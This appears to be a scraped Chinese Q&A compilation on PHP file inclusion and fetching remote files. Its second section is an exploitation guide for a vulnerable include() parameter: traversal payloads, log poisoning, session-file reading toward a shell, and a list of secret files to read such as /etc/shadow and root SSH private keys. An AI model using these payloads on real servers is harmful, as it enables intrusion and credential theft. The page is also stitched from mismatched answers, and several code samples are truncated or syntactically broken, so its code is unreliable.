php遠程文件包含
命令需要有個前提,並不是能隨便就打開區域網中的電腦。你需要有個許可權,如果對方的電腦設置了密碼你是根本進不了的,最好的方法就是給對方的電腦安裝一個遠程軟體,你登錄就可以了。
2. php文件包含漏洞可能造成的危害有哪些
在接下來的內容中會以代碼樣本作為例子,來給大家介紹各種奇葩猥瑣的利用姿勢。
0x01 普通本地文件包含
1
<?php
include("inc/"
. $_GET['file']);
?>
包含同目錄下的文件:
?file=.htaccess
目錄遍歷:
?file=../../../../../../../../../var/lib/locate.db ?file=../../../../../../../../../var/lib/mlocate/mlocate.db
(linux中這兩個文件儲存著所有文件的路徑,需要root許可權)
包含錯誤日誌: ?file=../../../../../../../../../var/log/apache/error.log (試試把UA設置為「」來使payload進入日誌)
獲取web目錄或者其他配置文件:
?file=../../../../../../../../../usr/local/apache2/conf/httpd.conf
(更多→http://wiki.apache.org/httpd/DistrosDefaultLayout)
包含上傳的附件:
?file=../attachment/media/xxx.file
讀取session文件:
?file=../../../../../../tmp/sess_tnrdo9ub2tsrntv0pdir1no7
(session文件一般在/tmp目錄下,格式為sess_[your phpsessid value],有時候也有可能在/var/lib/php5之類的,在此之前建議先讀取配置文件。在某些特定的情況下如果你能夠控制session的值,也許你能夠獲得一個shell)
如果擁有root許可權還可以試試讀這些東西:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_rsa.keystore
/root/.ssh/id_rsa.pub
/root/.ssh/known_hosts
/etc/shadow
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]* (文件標識符)
/proc/mounts
/proc/config.gz
如果有phpinfo可以包含臨時文件:
參見http://hi..com/mmnwzsdvpkjovwr/item/3f7ceb39965145eea984284el
3. curl遠程PHP類文件,如何使用include包含進項目里,求賜教。
把curl類文件放入項目,然後用include或者require包含進項目代碼裡面
然後new一個新的類就可以用了
比如該curl類名字是curlclass(parm1,parm2…………)
就可以用
include("文件路徑");
$curl = new curlclass(parm1,parm2,…………);
然後就可以用了
比如curlclass裡面有個
function get_url()
你就可以用
$curl->get_url()表示
4. php如何判斷文件是否存在,包括本地和遠程文件
當檢查的文件是本地時用php自帶的file_exists檢查就行了,而此函數只能檢查本地的函數是否存在, 所以如果要檢查遠程的文件是否存在只能用其它的方法了。 如果所伺服器中php的配置開啟了「allow_url_fopen = On」,即允許遠端訪問,那麼也很簡單,其實這個是php.ini中默認開啟的, 用fopen函數判斷就行了,能打開說明存在 如果allow_url_fopen = Off那麼可以用socket通訊來解決 下面寫的一個通用函數my_file_exists來檢查文件是否存在 function my_file_exists($file){if(preg_match('/^http:\/\//',$file)){//遠程文件if(ini_get('allow_url_fopen')){ if(@fopen($file,'r')) return true;}else{$parseurl=parse_url($file); $host=$parseurl['host']; $path=$parseurl['path']; $fp=fsockopen($host,80, $errno, $errstr, 10); if(!$fp)return false; fputs($fp,GET {$path} HTTP/1.1 \r\nhost:{$host}\r\n\r\n); 現在就可以調用此函數來檢查文件的存在性,而不用去考慮是遠程還是本地文件,或者是否禁用了allow_url_open
5. 用php程序自動讀取遠程文件並更新到本地,每天一次,如何做
windows:
准備:
1.將 php.exe 的路徑加入 windows 的環境變數
2.編寫文件:
D:\fileGeter.php
<?php
$filelist = Array(
"http://**********/a.txt",
"http://**********/b.txt",
);
$saveas="D:\\" ;
$endl = ".txt"
function getfile(){
foreach( $filelist as $k => $file )
file_put_contents( $saveas . $k . $endl , file_get_contents( $file ) ) ;
}
getfile();
?>
3.執行cmd命令
at 11:20 /every:1,2,3,4,5,6,7 "php D:\fileGeter.php"
linux 更方便
直接把此文件包含進 你要寫的程序里就OK了,
fileGeter.php:
<?php
...
...
$saveas = "./";
...
..
?>
index.php:
<?php
require_once("fileGeter.php");
//and so on .....
.....
....
....
?>
6. php保存遠程文件到文件夾
具體看步驟吧:
function getFile($url,$save_dir='',$filename='',$type=0){
if(trim($url)==''){
return false;
}
if(trim($save_dir)==''){
$save_dir='./';
}
if(0!==strrpos($save_dir,'/')){
$save_dir.='/';
}
//創建保存目錄
if(!file_exists($save_dir)&&!mkdir($save_dir,0777,true)){
return false;
}
//獲取遠程文件所採用的方法
if($type){
$ch=curl_init();
$timeout=5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$content=curl_exec($ch);
curl_close($ch);
}else{
ob_start();
readfile($url);
$content=ob_get_contents();
ob_end_clean();
}
$size=strlen($content);
//文件大小
$fp2=@fopen($save_dir.$filename,'a');
fwrite($fp2,$content);
fclose($fp2);
unset($content,$url);
return array('file_name'=>$filename,'save_path'=>$save_dir.$filename);
}
getFile($url,$save_dir,$filename,1)//調用
7. require_once可以引擎遠程php文件嗎
不可以引擎遠程php文件
require_once語句和require語句完全相同,
唯一區別是 PHP 會檢查該文件是否已經被包含過,如果是則不會再次包含。
望採納 Thx
8. php運行時相關文件是否包含在傳輸文件中什麼意思
在運行的過程中,相關文件肯定是不好在傳輸文件中的操作所表達的意思就是說這種文件是相互運行的。
9. php include 能包含遠程文件嗎
可以,但是需要修改配置程序。具體如下:
最好檢查一下php.ini中的配置選項allow_url_include,如果為on則可以包含,否則不能包含
; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off
做個簡單的測試,此時allow_url_include的值為Off
測試前配置一下hosts文件,這樣可以在一台電腦上面進行模擬測試
192.168.1.101 www.test1.com
192.168.1.102 www.test2.com
path.php文件內容為:
<?php
echo "This is file path.php<br />\n";
include("http://www.test2.com/research/path/path.php");
?>
path1.php文件內容為:
<?php
echo "This is file path1.php in root directory\n";
?>
執行http://www.test1.com/research/path/path.php,輸出如下
This is file path.php
Warning: include() [function.include]: URL file-access is disabled in the server configuration in E:\myphp\research\path\path.php on line 3
Warning: include(http://www.test2.com/research/path/path.php) [function.include]: failed to open stream: no suitable wrapper could be found in E:\myphp\research\path\path.php on line 3
Warning: include() [function.include]: Failed opening 'http://www.test2.com/research/path/path.php' for inclusion (include_path='.;C:\php5\pear') in E:\myphp\research\path\path.php on line 3
將php.ini中的allow_url_include改為On,重新啟動web伺服器,再次執行http://www.test1.com/research/path/path.php,輸出如下:
This is file path.php
This is file path1.php in root directory
將allow_url_include設為On以後,就可以包含遠程文件了,並且包含的是遠程文件執行的結果。
10. php怎樣遍歷遠程文件夾下的文件
window是用的GB2312的編碼,你的php文件應該用的是UTF-8,所以正如你寫的那樣,先要轉換編碼$dir=iconv("utf-8","gb2312",$dir);
但你別忘了,你用的是UTF-8的編碼,所以你第六行寫錯了,把GB2312轉換為UTF-8搞倒了吧
123456789101112131415<?phpfunction refresh($dir){ $dir=iconv("utf-8","gb2312",$dir); if ($headle=opendir($dir)){ while ($file=readdir($headle)){ $file=iconv("gb2312","utf-8",$file); if ($file!='.' && $file!='..'){ echo "文件".$file."在文件夾".$dir."下<br />"; } } closedir($headle); }}refresh("D:/AppServ/www/test");?>